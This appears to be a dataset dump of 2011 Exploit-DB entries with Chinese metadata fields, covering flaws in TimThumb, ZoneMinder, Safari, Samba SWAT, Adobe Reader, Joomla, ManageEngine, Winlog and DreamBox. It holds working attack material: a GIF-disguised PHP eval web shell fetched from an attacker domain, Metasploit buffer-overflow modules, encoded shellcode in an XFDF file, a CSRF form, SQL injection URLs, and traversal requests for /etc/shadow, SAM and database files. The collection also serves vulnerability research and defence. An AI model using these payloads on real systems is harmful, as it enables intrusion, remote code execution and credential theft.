QLWD/code_shield huggingface dataset:
标题: WordPress Plugin TimThumb 1.32 - Remote Code Execution EDB-ID: 17602 CVE: 2011-4106 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-03 漏洞利用脚本: # Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)
 
 
WordPress TimThumb (Theme) Plugin - Remote Code Execution
 
 
Versions Affected: 
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)

 
Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.

 
External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/
 
Credits: 
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)
 
 
-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.


Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.


Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

(Transparent GIF + <?php @eval($_GET['cmd']) ?>

 
 
-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb
 
 
Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011

 
 
References:
http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif URL: https://www.exploit-db.com/exploits/17602
标题: ZoneMinder 1.24.3 - Remote File Inclusion EDB-ID: 17593 CVE: 2013-0332 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-01 漏洞利用脚本: # Exploit Title: Zoneminder 1.24.3 Remote File Inclusion Vulnerability
# Date: 2011-07-22
# Author: Iye (iye[dot]cba-at-gmail[dot]com)
# Software Link: http://www.zoneminder.com/
# Version: 1.24.3 (Tested). 1.24.4 probably too, not tested
# Tested on: Ubuntu 10.04

You must be authenticated as a user in the Web App to exploit it. It's
not a must to be admin.

POC: http://localhost/zm/index.php?action=56&markMids%5B%5D=1&deleteBtn=Delete&editBtn=Edit&view=../../../../../../../../../../../../../../../etc/passwd%00

Reported to proyect mantainer (Philip Coombes) on 2011-07-22
Fix patch made Philip Coombes: http://www.zoneminder.com/downloads/lfi-patch.txt

Vulnerable Code:

/var/www/zm/includes/functions.php
--------------------------------------------------------

function getSkinFile( $file )
{
    global $skinBase;
    $skinFile = false;
    foreach ( $skinBase as $skin )
    {
        $tempSkinFile = 'skins'.'/'.$skin.'/'.$file;
        if ( file_exists( $tempSkinFile ) )
            $skinFile = $tempSkinFile;
    }
    return( $skinFile );
}

-------------------------------------------------------- URL: https://www.exploit-db.com/exploits/17593
标题: Apple Safari 5.0.5 - SVG Remote Code Execution (DEP Bypass) EDB-ID: 17575 CVE: 2011-0222 类型: REMOTE 平台: WINDOWS 发布日期: 2011-07-26 漏洞利用脚本: Abysssec Public Advisory

   apple killed one of our 0day  no point to keep it private anymore :(
   there is another version of exploit using POPup and thats more
reliable but as you know safari block pop up by default so we found a
cool way to bypass it and stand alone module .
   this exploiting using ROP to bypass permanent DEP.

   note : Change spray range if not work on your machine.

   CVE-2011-0222 :

   WebKit, as used in Apple Safari before 5.0.6, allows remote attackers
to execute arbitrary code or cause a denial of service (memory
corruption and application crash)
   via a crafted web site a different vulnerability than other WebKit
CVEs listed in APPLE-SA-2011-07-20-1.

   Tested on windows XP SP3 and safari 5.0.5

   feel free to contact us at : info [at] abysssec.com

   and follow @abysssec for updates

   http://www.abysssec.com/files/CVE-2011-0222_WinXP_Exploit.zip
   https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17575.zip (CVE-2011-0222_WinXP_Exploit.zip) URL: https://www.exploit-db.com/exploits/17575
标题: SWAT Samba Web Administration Tool - Cross-Site Request Forgery EDB-ID: 17577 CVE: 2011-2522 类型: WEBAPPS 平台: CGI 发布日期: 2011-07-27 漏洞利用脚本: <!--
# Secur-I Research Group - Proof-of-Concept
# ==========================================================================
# Title: Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)
# Vulnerable versions: Samba 3.0.x - 3.5.9 (inclusive)
# Fixed version: Samba 3.5.10
# Product Homepage: http://www.samba.org/
# CVE-ID: CVE-2011-2522
# References: http://www.samba.org/samba/security/CVE-2011-2522
# ==========================================================================
-->

<html>
<body>
<form method=post action="http://VULN_SERVER:901/status">
<input type=submit onclick=window.open("http://securview.com") name="VUL_PARM" value="w00t!">
</body>
</html>

<!--
VUL_PARM could be one of the following:-
smbd_start, smbd_stop, smbd_restart : To start/stop/restart smbd(Samba) daemon
nmbd_start, nmbd_stop, nmbd_restart : To start/stop/restart nmbd(NETBIOS) daemon
winbindd_start, winbindd_stop, winbindd_restart : To start/stop/restart winbindd(Windows Name Service Switch) daemon
-->

Thanks & Regards,
Narendra.

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium. URL: https://www.exploit-db.com/exploits/17577
标题: Apple Safari 5.0.6/5.1 - SVG DOM Processing (PoC) EDB-ID: 17567 CVE: 2011-0222 类型: DOS 平台: OSX 发布日期: 2011-07-25 漏洞利用脚本: /*
# Exploit Title: CVE-2011-0222 Safari SVG DOM processing PoC
# Date: 2011-07-25
# Author: Nikita Tarakanov (CISS Research Team), Alex Bazhanyuk (CISS Research Team)
# Software Link: http://www.apple.com/au/safari/download/
# Version: prior to 5.0.6, 5.1
# Tested on: Win XP SP3, Win 7 SP1
# CVE : CVE-2011-0222
# Status : Patched
*/

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17567.zip (CVE-2011-0222.zip) URL: https://www.exploit-db.com/exploits/17567
标题: Symantec Backup Exec 12.5 - Man In The Middle EDB-ID: 17517 CVE: 2011-0546 类型: REMOTE 平台: WINDOWS 发布日期: 2011-07-09 漏洞利用脚本: Exploit Title: Symantec Backup Exec MiTM Attack
Date: 27/05/2011
Author: Nibin
Software Link: http://www.symantec.com/business/products/family.jsp?familyid=backupexec
Version:
 - Symantec Backup Exec for Windows Servers versions 11.0, 12.0, and 12.5
 - Symantec Backup Exec 2010 versions 13.0 and 13.0 R2
Tested on: Tested on Symantec Backup Exec 12.5 for Windows Servers
CVE : CVE-2011-0546
BID: 47824

Symantec Disclosure link:
http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2011&suid=20110526_00
iViZ Disclosure link: goo.gl/1vzdE

Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17517.zip (SymantecReplay.zip) URL: https://www.exploit-db.com/exploits/17517
标题: MicroP 0.1.1.1600 - '.mppl' Local Stack Buffer Overflow (Metasploit) EDB-ID: 17502 CVE: 2010-5299 类型: LOCAL 平台: WINDOWS 发布日期: 2011-07-07 漏洞利用脚本: ##
# $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
   'Description'    => %q{ 
     This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
    buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
    which overwrites the lpFileName parameter of a CreateFileA() function, and results
    arbitrary code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'James Fitts' ],
   'Version'        => '$Revision: 13114 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 728,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 / Vista / 7',
      {
       'Ret'    => 0x100145b5,  #jmp eax in bass.dll
       'Offset' => 1276,        #Offset to overwrite EIP
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 23 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.mppl']),
    ], self.class)
 end

 def exploit
  mppl  = payload.encoded
  mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
  mppl << [target.ret].pack('V')

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(mppl)
 end

end URL: https://www.exploit-db.com/exploits/17502
标题: Adobe Reader 5.1 - XFDF Buffer Overflow (SEH) EDB-ID: 17488 CVE: 2004-0194 类型: LOCAL 平台: WINDOWS 发布日期: 2011-07-04 漏洞利用脚本: # Exploit Title: Adobe Reader 5.1 XFDF Buffer Overflow Vulnerability (SEH)
# Google Dork: N/A or filtype ".xfdf"
# Date: 04/01/2011
# Author: extraexploit@gmail.com / http://extraexploit.blogspot.com
# Software Link: http://www.oldversion.com/download/acrobat51.exe
# Version: Acrobat (formerly Adobe) Reader 5.1
# Tested on: XP SP3
# CVE : cve-2004-0194
# http://extraexploit.blogspot.com/2011/07/old-bug-for-new-job-cve-2004-0194.html

<?xml version="1.0" encoding="ISO-8859-1"?>
<xfdf xmlns="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz AAUO<81>.AAAAAAAAAAAAAAAAAAAAAAAAAAT]ÚÞÙuô_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLZHK9GpC0GpQpK9IuTqN2PdNkQBTpLKCbTLLKV2EDNkCBQ8VoOGRjTfVQIoEaIPNLGLQqQlC2TlGPO1ZoVmC1XGKRL0V2QGLKRrR0LKG2GLC1ZpNkG0QhK5IPQdPJEQN0RpNkCxR8LKChQ0EQZsXcGLPINkVTNkVaIFEaIoP1O0LlIQZoTMC1KwEhIpPuIdGsCMIhEkQmQ4T5IrChNkQHVDEQICRFNkTLRkNkQHGlGqKcLKTDLKVaZpMYCtVDQ4QKCkQqCiQJRqKOM0QHQOPZNkGbZKNfQMRJEQLMLENYGpC0C0RpPhEaLKROOwKON5OKL0OEI2RvRHI6MEOMOmIoZuElTFCLEZOpIkIpQeEUOKCwGcCBPoRJGpQCIoXURCPaPlRCTnQuPxPeEPAA" xml:space="preserve">
<fields>
<field name="Date of Birth"><value>01-01-1960</value></field>
<field name="Your Name"><value>Mr. Customer</value></field>
</fields>
<ids original="FEBDB19E0CD32274C16CE13DCF244AD2" modified="5BE74DD4F607B7409DC03D600E466E12"/>
</xfdf>

Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17488.xfdf (cve-2004-0194.xfdf.xfdf) URL: https://www.exploit-db.com/exploits/17488
标题: Adobe Reader X 10.0.0 < 10.0.1 - Atom Type Confusion EDB-ID: 17473 CVE: 2011-0611 类型: LOCAL 平台: WINDOWS 发布日期: 2011-07-03 漏洞利用脚本: # Exploit Title: Adobe Reader X Atom Type Confusion Vulnerability Exploit
# Date: 7/3/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: Adobe Reader X < 10.1
# Tested on: 10.0.0 - 10.0.1 - Windows 7 - IE/FF/Opera
# CVE : CVE-2011-0611
#
#This is the exploit I wrote for Abysssec "The Arashi" article.
#It gracefully bypass DEP/ASLR ( not the sandbox ) in Adobe Reader X,
#and we named this method "Tatsumaki DEP/ASRL Bypass" : >
#It work reliably on IE9/FF4 and other browsers.
#
# The Arashi : http://abysssec.com/files/The_Arashi.pdf
               http://www.exploit-db.com/docs/17469.pdf
# me : twitter.com/ponez
# also check here for The Persian docs of this methods and more :
http://www.0days.ir/article/

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17473.pdf (cve-2011-0611_exploit.pdf) URL: https://www.exploit-db.com/exploits/17473
标题: Joomla! Component mDigg 2.2.8 - SQL Injection EDB-ID: 17464 CVE: 2008-6149 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-01 漏洞利用脚本: =====================================================================
                      .__         .__  __            .__    .___
  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ | 
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ | 
 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ | 
     \/      \/|__|                                          \/  
   Exploit-ID is the Exploit Information Disclosure
 
Web             : exploit-id.com 
e-mail          : root[at]exploit-id[dot]com             
 
                  #########################################     
        I'm Caddy-Dz, member of Exploit-Id    
      #########################################     
======================================================================
####
# Exploit Title: joomla component SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com  |  Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Google Dork: "Powered by joomla" inurl:link_id
# Category:: Webapps
# Tested on: [Windows Vista Edition Intégral- French]
# http://demo15.joomlaapps.com/
# http://demo15.joomlaapps.com/mdigg.html
####


[*] ExpLo!T :

http://127.0.0.1/?act=story_lists&task=item&link_id=1'

http://127.0.0.1/?act=story_lists&task=item&link_id=[SQLi]

http://127.0.0.1/path/?act=story_lists&task=item&link_id=[SQLi]

####

[+] Peace From Algeria

####

=================================**Algerians Hackers**=======================================|
# Greets To :                                                                                |
  KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T ,               |
  All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com)     |
  All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , | 
  RmZ ...others                                                                              |
============================================================================================ | URL: https://www.exploit-db.com/exploits/17464
标题: ManageEngine ServiceDesk Plus 8.0 - Directory Traversal EDB-ID: 17437 CVE: 2011-2757 2011-2755 类型: WEBAPPS 平台: JSP 发布日期: 2011-06-23 漏洞利用脚本: Google Dork: ie: intitle:ManageEngine ServiceDesk Plus"
Author:  Keith Lee (keith.lee2012@gmail.com), @keith55,
http://milo2012.wordpress.com
Software Link: http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
Version: 8.0

Description:

Directory traversal vulnerabilities has been found in ManageEngine
ServiceDesk Plus 8.0 a web
based helpdesk system written in Java.

The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use �../� sequences to move up to root directory, thus permitting
navigation through the file system.

Request:
GET http://[webserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\windows\repair\SAM

The issue is fixed with Service Pack Build 8012 found in the below link.
http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus_8_0_0_SP-0_12_0.ppm


-- 
Keith

Blog: http://www.milo2012.wordpress.com
Twitter: @keith55 URL: https://www.exploit-db.com/exploits/17437
标题: ManageEngine Support Center Plus 7.8 Build 7801 - Directory Traversal EDB-ID: 17442 CVE: 2011-2757 2011-2755 类型: WEBAPPS 平台: JSP 发布日期: 2011-06-23 漏洞利用脚本: Advisory:
ManageEngine Support Center Plus 7.8 build <= 7801 Directory Traversal Vulnerability

Author:
Robert 'xistence' van Hamburg - xistence<AT>0x90.nl

Software link:
http://www.manageengine.com/products/support-center/download.html

Tested on:
Linux & Windows

Category:
Directory Traversal

Severity:
High

Google Dork: intitle:ManageEngine SupportCenter Plus

Description:

It's possible to access all local files on the server and because Support Center Plus runs as root/Administrator by default it's possible to access files owned by superusers too.
This for example makes it possible to grab for the "/etc/shadow" file on a linux box.
An authenticated user on the helpdesk is not needed, so any attacker can exploit this vulnerability without credentials.

Requests Linux:

Grab the /etc/passwd & /etc/shadow:

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=passwd&module=Request&ID=1&path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=shadow&module=Request&ID=1&path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow&delete=false

In a default situation the databasename is "supportcenter" and so it's easy to retrieve the database files like this:

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ibdata1&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fibdata1&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ib_logfile0&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fib_logfile0&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ib_logfile1&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fib_logfile1&delete=false

http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=aaapassword.frm&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fsupportcenter%2Faaapassword.frm&delete=false
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=aaauser.frm&module=Request&ID=1&path=..%2Fmysql%2Fdata%2Fsupportcenter%2Faaauser.frm&delete=false


Requests Windows:

Hosts file:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=hosts&module=Request&ID=1&path=..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&delete=false

Explorer.exe:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=explorer.exe&module=Request&ID=1&path=..\..\..\..\..\..\Windows\explorer.exe&delete=false

MySQL database ibdata1 file:
http://<SUPPORTCENTERURL>/workorder/FileDownload.jsp?FILENAME=ibdata1&module=Request&ID=1&path=..\..\mysql\data\ibdata1&delete=false


Disclosure:
- May 30 2011, vulnerability found
- May 30 2011, contacted vendor (ManageEngine) about security issues
- Jun 1 2011, vulnerability fixed by vendor (ManageEngine) and released as patch 7803 URL: https://www.exploit-db.com/exploits/17442
标题: Sielco Sistemi Winlog - Remote Buffer Overflow (Metasploit) EDB-ID: 17430 CVE: 2011-0517 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-21 漏洞利用脚本: ##
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sielco Sistemi Winlog Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Sielco
    Sistem Winlog <= 2.07.00. When sending a specially formatted
    packet to the Runtime.exe service, an attacker may be able to
    execute arbitrary code.
   },
   'Author'         => [ 'Luigi Auriemma', 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13000 $',
   'References'     =>
    [
     [ 'CVE', '2011-0517' ],
     [ 'OSVDB', '70418'],
     [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jan 13 2011'))

  register_options([Opt::RPORT(46823)], self.class)
 end

 def exploit

  connect

  data =  [0x02].pack('C') # opcode
  data << [0x0101].pack('n')
  data << rand_text_alpha_upper(588)
  data << generate_seh_payload(target.ret)

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/17430
标题: DreamBox DM800 - Arbitrary File Download EDB-ID: 17422 CVE: 2011-4716 类型: REMOTE 平台: HARDWARE 发布日期: 2011-06-21 漏洞利用脚本: # Exploit Title: [title]
# Date: [date]
# Author: [ShellVision]
# Version: [dm800 <= 1.6rc3]
# Tested on: [dm800 Release 4.6.0 2009-12-24]



DreamBox DM800 Arbitrary File Download Vulnerability
 
 
Vendor: Dream Multimedia GmbH
Product web page: http://www.dream-multimedia-tv.de
Affected version: DM800 (may affect others version)
 
Summary: The Dreambox is a series of Linux-powered
DVB satellite, terrestrial and cable digital television
receivers (set-top box).
 
Desc: Dreambox suffers from a file download vulnerability
thru directory traversal with appending the '/' character
in the HTTP GET method of the affected host address. The
attacker can get to sensitive information like paid channel
keys, usernames, passwords, config and plug-ins info, etc.

By default, web application is running by root, so catch shadow is
very easy
 
Tested on: 

Devicename: dm800
Enigma Version: 2009-12-24-master
Image Version: Release 4.6.0 2009-12-24
Frontprozessor Version: VNone
Webinterface Version: 1.6rc3

 
Vulnerability discovered by: ShellVision Designer@ShellVision.com
ShellVision - www.shellvision.com
 
 20 Jun 2011
 
 
--------------------------------------------------------------------
 
http://target.com/file?file=/etc/shadow URL: https://www.exploit-db.com/exploits/17422